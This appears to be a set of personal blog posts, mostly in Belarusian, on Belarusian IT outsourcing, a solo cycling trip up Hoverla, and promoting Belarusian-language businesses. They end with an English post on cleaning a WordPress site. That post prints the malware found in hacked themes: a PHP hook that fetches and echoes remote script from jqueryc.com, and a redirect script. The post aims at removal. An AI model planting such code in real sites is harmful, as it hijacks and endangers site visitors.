Нядаўна з сябрам абмяркоўвалі такое цікавае пытаньня: Ці ёсьць дзе-небудзь яшчэ акрамя Беларусі, краінаў СНД такія гіганцкія аўтсорсінгавыя кампаніі як Іпам, Ітранзішын?

Атрымліваецца, што ёсьць – але толькі у Індыі.

У Злучаных Штатах рынак больш дыверсікаваны – там шмат маленькіх і вузкаспецыялізаваных кампаніяў. Тое самае і ў, напрыклад, заходняй Эўропе. І ў Аўстраліі.

Наступнае пытаньне – чаму так?

Таму што нашыя праграмісты не гадаваліся як асобы, а гадаваліся як рэсурс. Таму што людзі якія працуюць у нашых кампаніях яшчэ вельмі высока ў параўнаньні з сабой ставяць амерыканскага замоўцу. Таму што, як думае наш праграміст-выканаўца, паміж ім і амерыканскім замоўцам вялічэзная прорва. Гэта ж Амерыканец. Гэта ж замоўца. Гэта ж столькі складаных пытаньняў: як зь ім размаўляць, як шукаць яго, а можа ўвогуле не пракаціць? Таму, ну яго нафіг – буду працаваць лепей тутака, ў іпамчыке.

Хлопцы, з уласнага вопыта Вам скажу: што Амерыканец, што ўладальнік іпама – звычайныя пацаны. Такія ж як мы. Першых ня трэба баяцца, а пра другіх трэба яшчэ раз ведаць што яны звычайныя і з Беларусі.

Трохі фактаў:

Рэйт. Мінімум там – $50/гадзіна. Гэта сур’ёзна мінімум – то з чаго трэба пачынаць.

Самаразвіцьцё.  Сустрэчы з цікавымі людзьмі, самаадказнасьць, пераадольваньне сябе, поўная адказнасьць за праект.

Таму. Дыверсіфікуйце беларускі рынак! Стварайце ІТ кампаніі і працуйце на сваё імя!

Я ўжо даўно хацеў напісаць гэты пост. Як толькі прыехаў так і хацеў. То бок ужо амаль год хачу.

Як заўсёды я сядаў, спрабаваў нешта прыдумаць-напісаць.
Часам штучна некаторыя дробязі прыцягнуць, але ніяк не ішло…

Дык вось. Гэта пра маё маленькае падарожжа ў Карпаты.

Гэтыя тры дні – самыя моцныя эмоцыі ў маім жыцьці.

Нафіг усіх

Хацелі ехаць яшчэ ў 2011 годзе. Я шлём купіў, торбу для ровара…
Але тады ніхто з сяброў не паехаў – таму вымушаны былі падарожжа адмяніць. Я разладзіўся, але жаданьне не зьнікла.

На наступны 2012 год тое ж самае становішча. Зьбіраліся, зьбіраліся ды зноў усе “саскачылі”.

Вось я й вырашыў – нафіг усіх. Паеду адзін. Нават неяк цікавей адразу зрабілася ад асэнсаваньня таго, што буду адзін.
Бо чакаць можна ўсё жыцьцё й з кожным годам будзе складаней і складаней усіх сабраць.

Туды

Квіток. Як везці ровар. Торба для ровара. Маршрут. Раздрукаваць мапу. Запасныя покрыўкі. Заплечнік. Гоў, моўчкі, каб бацькі ня ведалі.

Цягнік па заходняй Украіне да Івана-Франкоўска. Потым электрон, зусім такі ж як нашыя “дачныя электроны”, але ідзе ў горы. Потым Яремче – апошняя кропка
на цягніке. Далей 32 км да Яблуніцкага перэвалу на ровары ўверх. Уніз з хуткасьцю 56 км/г да Ясіня.

Гасцініца з выдатным нумаром за 10 даляроў. Украінцы, якія успрымаюць мяне за поляка і кажуць што на Ўкраіне добра, але ўсё адно ў Беларусь працаваць ездзюць. Далей ня мог уснуць, бо аднаму ўвечары заўсёды робіцца сумна. Трэба заўсёды неяк сацыялізоўвацца.

Уздым

Маршрут дакладна ня ведаю, але ведаю прыкладна накірунак – праз вёску Лазешчына. Сонейка. А восьмая раніцы. Я ў гарах на ровары.

Еду. Шмат бруда пад калёсамі, бо карпаты таму й самыя прыгожыя горы што ў іх шмат вады. Ручаі паўсюль. Сосны.
За гадзіну раблю вялікую частку пешага маршруту, але рана радавацца.

Прыязджаю да нейкага хутара. Нейкая бабка кажа што далей з роварам не прайсьці. Я ей ня веру. Еду далей

Бачу ўздым адсоткаў 30% – сапраўды не праедзеш. Цягну ровар. Побач адразу па сцежцы дзе я іду бяжыць ручай. Так хвілін 40.

Выходжу да леса – становіцца магчыма ехаць. Сцежка ідзе праз лес. Ганю прэч думкі пра знакамітых карпатскіх мядзведзяў.

Далей нейкая палянка і.. Бачна Гавэрла! Але зусім не зразумела як да яе ісьці.

Я згубіў сцежку. Не зразумела як ісьці далей. На палянцы нейкі домік і шмат ручаёў. Я напаўняю бутэлі вадой (У карпатах усё што
льецца можна піць 🙂 і ем.

На чарговую спробу знайсьці сцежку ў мяне атрымліваецца – я бачу жоўты значак турыстычнай сцежкі. Трохі зрывае дах ад радасьці.

Далей выходжу на хрыбет. Вакол ужо няма дрэваў – толькі нейкія іглічныя хмызы. Гавэрлу бачна. Яшчэ мэтраў 500 угару. Часам цягну ровар.

У мяне нейкая дзіцячая радасьць. Я спыняюся каб паесьці. Прайшло дзесьці 5 гадзін з пачатку ўздыма. Лётае нейкі чмель.

Застаўся самы прамы, але самы цяжкі кавалак – тупа ўгару з камянямі. Ровар вядома пакідаць нельга. Іду. Разрадзіўся тэлефон.

Яшчэ гадзіна й я зверху. Тут холадна, афігенска й Украінскі сьцяг. Гавэрла ў тумане. Трохі адпачываю й адчуваю што можна ехаць назад.

Спуск

1 гадзіна на ровары. Еду зноў у веску каб шукаць гасцініцу. Знайшоў. Гаспадары ледзь не ўехалі – частуюць яешняй.
У гэты раз засынаю адразу.

Маці кажу што ў Карпатах. Цікава рэагуе.

Адтуль

Еду ў Яремче й неяк усе так атрымліваецца што на ўсё пасьпеваю. Яремче, Іфана-Франкоўск. Потым Львоў. Трохі паездзіў. Ледзь не
спазніўся на цягнік. І Менск.

Вынікі

Ужо шмат чаго пасьля гэтай вандроўкі адбылася. Я ў
штаты з’ездзіў, працу кінуў.
Але ўсё адно мне нават цяжка параўнаць тыя чыстыя й яскравыя эмоцыі з чым-небудзь яшчэ. Непараўноўваюцца.

Вось так. У гэты годзе таксама спадзяюся паеду.

У нас няма шляха дэмакратызацыі. Няма шляха чакаць дапамогі ад якой-небудзь Эўропы.

Я ня супраць дыктатуры. Я нават за, тады калі яна нацыяналістычная.

Я супраць таго, калі кажуць што мяне няма. Я супраць дэнацыяналізацыі Беларусі. Я супраць таго каб Беларусь атаясамлівалі зь якой-небудзь іншай краінай. Мне вельмі не падабаецца калі маю гісторыю ня ведаюць і блытаюць мяне з маімі суседзямі.

Таму ў нас няма шляха дэмокрасі фо Беларус, няма шляха фрідом фо Беларус, няма ніякага іншага шляха. Гэта ўсё другасна. Гэта хавае сапраўдныя праблемы.

Ёсьць толькі адно. Ведаць хто я.

І размаўляць па-беларуску.

Таму што зараз яшчэ толькі самы пачатак вялікай беларускамоўнай хвалі, якая хутка захлыне ўсю краіну. А гэта значыць, што калі Вы ствараеце свой бізнэс беларускім Вы атрымліваеце ўжо два вельмі моцных фактара яго посьпеху:

Унікальнасьць

Ня проста там, чарговая цырульня ці чарговая кавярня. А першая беларускамоўная кавярня.  Першая беларускамоўная цырульня. Вы робіце гэтую справу першы, а значыць маеце вялікія перавагі. Ня рынак стварае Вас, а Вы ствараеце рынак. А значыць Вас ведаюць і Вас памятаюць. Калі яшчэ будзе такі шанец? Дзе яшчэ ёсьць краіна ў сьвеце, дзе Вы жывяце і ў якой пачынаецца паступовае вяртаньне да роднай мовы?

Лаяльнасьць

Ужо са старту Вы атрымліваеце вялікае кола насамрэч лаяльных да Вас кліентаў. Тыя хто размаўляюць па-беларуску абяруць беларускамоўную кавярню расейскамоўнай. Напрыклад, калі мы шукалі інтэрнэт-правайдара для course.by мы выбралі Дзелавую Сетку толькі праз яе беларускамоўнасьць.

Беларускамоўнасьць – значыць шчырасьць. У тым ліку з самім сабой. Быць беларускамоўным значыць быць шчырым. Ад беларускамоўнай кавярні людзі ня будуць чакаць падмана й таму выбяруць яе.

Ды й проста таму, што пакаленьне Y з дзяцінства пытае сябе: Чаму мы беларусы, а размаўляем па-расейску? Таму й прыйдуць да Вас, таму што Вы – гэта мы.

Хваля

budzma.org, generation.by, 34mag.net, litbel(і яго клоны), вышэй за неба, адзеньне з беларускай гісторыя, Vinsent, каляндары банкаў, рэкляма velcom (і здаецца life была), вяртаньне беларускай мовы мінсктрансам, course.by урэшце. І шмат, шмат чаго яшчэ. Ці было гэта ўсё яшчэ год таму?

Першая беларускамоўная служба таксі, першы беларускамоўны блог з рэцэптамі, першая беларускамоўная крама з кветачкамі, ну і далей..

Карацей я думаю трэба гэтую справу рабіць, і выбар мовы відавочны, бо такі шанец ня часта даецца.

Sometimes it happens that your wordpress site occasionally starts to redirect to magic jqueryc.com. Notice it’s not jquery.com site.

It could happen because of installing some hacked premium plugins/themes for example like this one – http://www.wikmag.com/felis-flexible-theme.html.

How does it work?

This malicious software that was installed to your website redirects all your users to jqueryc.com by inserting javascript line into the top of your page. Something like this:

<script type="text/javascript">
window.top.location.href = "http://www.jqueryc.com";
</script>

How to fix it?

You need to open a functions.php file in your wordpress editor view.

Then find the following line of code

//Jquery Function
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

and delete it. Don’t forget to press save button after that.

That’s it. We are done. Your website is fixed.

Try to avoid untrusted or hacked plugins/themes in a future. It can lead to even more harmful results.

Check out my previous post about attempts and doing things.